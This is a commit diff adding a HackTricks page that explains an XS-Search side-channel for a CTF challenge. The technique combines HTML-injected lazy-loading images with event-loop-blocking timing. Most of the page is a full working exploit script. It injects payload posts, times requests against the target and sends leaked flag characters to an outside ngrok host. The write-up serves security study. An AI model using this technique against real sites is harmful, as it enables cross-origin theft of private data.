mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 12:43:23 +00:00
GitBook: [#3600] No subject
This commit is contained in:
parent
b60f2f1c20
commit
29ae0b070c
3 changed files with 176 additions and 0 deletions
|
@ -562,6 +562,7 @@
|
||||||
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
* [XSSI (Cross-Site Script Inclusion)](pentesting-web/xssi-cross-site-script-inclusion.md)
|
||||||
* [XS-Search/XS-Leaks](pentesting-web/xs-search.md)
|
* [XS-Search/XS-Leaks](pentesting-web/xs-search.md)
|
||||||
* [Connection Pool Example](pentesting-web/xs-search/connection-pool-example.md)
|
* [Connection Pool Example](pentesting-web/xs-search/connection-pool-example.md)
|
||||||
|
* [Event Loop Blocking + Lazy images](pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md)
|
||||||
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
|
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
|
||||||
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
|
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
|
||||||
|
|
||||||
|
|
|
@ -229,6 +229,10 @@ Because **only one request payment can be active** at the same time, if the targ
|
||||||
* **Summary:** Measure execution time of a web abusing the single-threaded JS event loop.
|
* **Summary:** Measure execution time of a web abusing the single-threaded JS event loop.
|
||||||
* **Code Example**:
|
* **Code Example**:
|
||||||
|
|
||||||
|
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
|
||||||
|
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
JavaScript’s concurrency model is based on a [single-threaded event loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) which means **it can only run one task at a time**.\
|
JavaScript’s concurrency model is based on a [single-threaded event loop](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop) which means **it can only run one task at a time**.\
|
||||||
Inferring **how long code from a different origin takes to run** by measuring how long it t**akes to run next in the event pool**. The attacker keeps sending events to the event loop with fixed properties, which will eventually be dispatched if the pool is empty. Other origins dispatch events to the same pool, and this is where an **attacker infers the time difference by detecting if a delay occurred with one of its tasks**.
|
Inferring **how long code from a different origin takes to run** by measuring how long it t**akes to run next in the event pool**. The attacker keeps sending events to the event loop with fixed properties, which will eventually be dispatched if the pool is empty. Other origins dispatch events to the same pool, and this is where an **attacker infers the time difference by detecting if a delay occurred with one of its tasks**.
|
||||||
|
|
||||||
|
@ -853,6 +857,12 @@ What this text will do is to make the bot access any text in the page that conta
|
||||||
|
|
||||||
Some code example to exploit this: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
Some code example to exploit this: [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||||||
|
|
||||||
|
Find **another example using lazy loading** here:
|
||||||
|
|
||||||
|
{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %}
|
||||||
|
[event-loop-blocking-+-lazy-images.md](xs-search/event-loop-blocking-+-lazy-images.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### ReDoS
|
### ReDoS
|
||||||
|
|
||||||
{% content-ref url="regular-expression-denial-of-service-redos.md" %}
|
{% content-ref url="regular-expression-denial-of-service-redos.md" %}
|
||||||
|
|
165
pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md
Normal file
165
pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md
Normal file
|
@ -0,0 +1,165 @@
|
||||||
|
# Event Loop Blocking + Lazy images
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||||
|
|
||||||
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
In [**this exploit**](https://gist.github.com/aszx87410/155f8110e667bae3d10a36862870ba45), [**@aszx87410**](https://twitter.com/aszx87410) mixes the **lazy image side channel** technique through a HTML injection with kind of **event loop blocking technique** to leak chars.
|
||||||
|
|
||||||
|
This is a **different exploit for the CTF chall** that was already commented in the following page. take a look for more info about the challenge:
|
||||||
|
|
||||||
|
{% content-ref url="connection-pool-example.md" %}
|
||||||
|
[connection-pool-example.md](connection-pool-example.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
The idea behind this exploit is:
|
||||||
|
|
||||||
|
* The posts are loaded alphabetically
|
||||||
|
* An **attacker** can **inject** a **post** starting with **"A"**, then some **HTML tag** (like a big **`<canvas`**) will fulfil most of the **screen** and some final **`<img lazy` tags** to load things.
|
||||||
|
* If instead of an "A" the **attacker injects the same post but starting with a "z".** The **post** with the **flag** will appear **first**, then the **injected** **post** will appear with the initial "z" and the **big** **canvas**. Because the post with the flag appeared first, the first canvas will occupy all the screen and the final **`<img lazy`** tags injected **won't be seen** in the screen, so they **won't be loaded**.
|
||||||
|
* Then, **while** the bot is **accessing** the page, the **attacker** will **send fetch requests**. 
|
||||||
|
* If the **images** injected in the post are being **loaded**, these **fetch** requests will take **longer**, so the attacker knows that the **post is before the flag** (alphabetically).
|
||||||
|
* If the the **fetch** requests are **fast**, it means that the **post** is **alphabetically** **after** the flag.
|
||||||
|
|
||||||
|
Let's check the code:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html>
|
||||||
|
<!--
|
||||||
|
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
|
||||||
|
If images are loading, the request to "/" is slower, otherwise faster.
|
||||||
|
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
|
||||||
|
We can use fetch to measure the request time.
|
||||||
|
-->
|
||||||
|
<body>
|
||||||
|
<button onclick="run()">start</button>
|
||||||
|
|
||||||
|
<!-- Inject post with payload -->
|
||||||
|
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
|
||||||
|
<input id=inp name="text" value="">
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<!-- Remove index -->
|
||||||
|
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
|
||||||
|
<input id=inp2 name="index" value="">
|
||||||
|
</form>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
let flag = 'SEKAI{'
|
||||||
|
const TARGET = 'https://safelist.ctf.sekai.team'
|
||||||
|
f.action = TARGET + '/create'
|
||||||
|
f2.action = TARGET + '/remove'
|
||||||
|
|
||||||
|
const sleep = ms => new Promise(r => setTimeout(r, ms))
|
||||||
|
// Function to leak info to attacker
|
||||||
|
const send = data => fetch('http://server.ngrok.io?d='+data)
|
||||||
|
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')
|
||||||
|
|
||||||
|
// start exploit
|
||||||
|
let count = 0
|
||||||
|
setTimeout(async () => {
|
||||||
|
let L = 0
|
||||||
|
let R = charset.length - 1
|
||||||
|
|
||||||
|
// I have omited code here as apparently it wasn't necesary
|
||||||
|
|
||||||
|
// fallback to linerar since I am not familiar with binary search lol
|
||||||
|
for(let i=R; i>=L; i--) {
|
||||||
|
let c = charset[i]
|
||||||
|
send('try_' + flag + c)
|
||||||
|
const found = await testChar(flag + c)
|
||||||
|
if (found) {
|
||||||
|
send('found: '+ flag+c)
|
||||||
|
flag += c
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}, 0)
|
||||||
|
|
||||||
|
async function testChar(str) {
|
||||||
|
return new Promise(resolve => {
|
||||||
|
/*
|
||||||
|
For 3350, you need to test it on your local to get this number.
|
||||||
|
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
|
||||||
|
If starts with "A", the image should be loaded because it's in the threshold.
|
||||||
|
*/
|
||||||
|
// <canvas height="3350px"> is experimental and allow to show the injected
|
||||||
|
// images when the post injected is the first one but to hide them when
|
||||||
|
// the injected post is after the post with the flag
|
||||||
|
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
|
||||||
|
f.submit()
|
||||||
|
|
||||||
|
setTimeout(() => {
|
||||||
|
run(str, resolve)
|
||||||
|
}, 500)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
async function run(str, resolve) {
|
||||||
|
// Open posts page 5 times
|
||||||
|
for(let i=1; i<=5;i++) {
|
||||||
|
window.open(TARGET)
|
||||||
|
}
|
||||||
|
|
||||||
|
let t = 0
|
||||||
|
const round = 30 //Lets time 30 requests
|
||||||
|
setTimeout(async () => {
|
||||||
|
// Send 30 requests and time each
|
||||||
|
for(let i=0; i<round; i++) {
|
||||||
|
let s = performance.now()
|
||||||
|
await fetch(TARGET + '/?test', {
|
||||||
|
mode: 'no-cors'
|
||||||
|
}).catch(err=>1)
|
||||||
|
let end = performance.now()
|
||||||
|
t += end - s
|
||||||
|
console.log(end - s)
|
||||||
|
}
|
||||||
|
const avg = t/round
|
||||||
|
// Send info about how much time it took
|
||||||
|
send(str + "," + t + "," + "avg:" + avg)
|
||||||
|
|
||||||
|
/*
|
||||||
|
I get this threshold(1000ms) by trying multiple times on remote admin bot
|
||||||
|
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
|
||||||
|
*/
|
||||||
|
const isFound = (t >= 1000)
|
||||||
|
if (isFound) {
|
||||||
|
inp2.value = "0"
|
||||||
|
} else {
|
||||||
|
inp2.value = "1"
|
||||||
|
}
|
||||||
|
|
||||||
|
// remember to delete the post to not break our leak oracle
|
||||||
|
f2.submit()
|
||||||
|
setTimeout(() => {
|
||||||
|
resolve(isFound)
|
||||||
|
}, 200)
|
||||||
|
}, 200)
|
||||||
|
}
|
||||||
|
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
```
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||||
|
|
||||||
|
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||||
|
|
||||||
|
</details>
|
Loading…
Reference in a new issue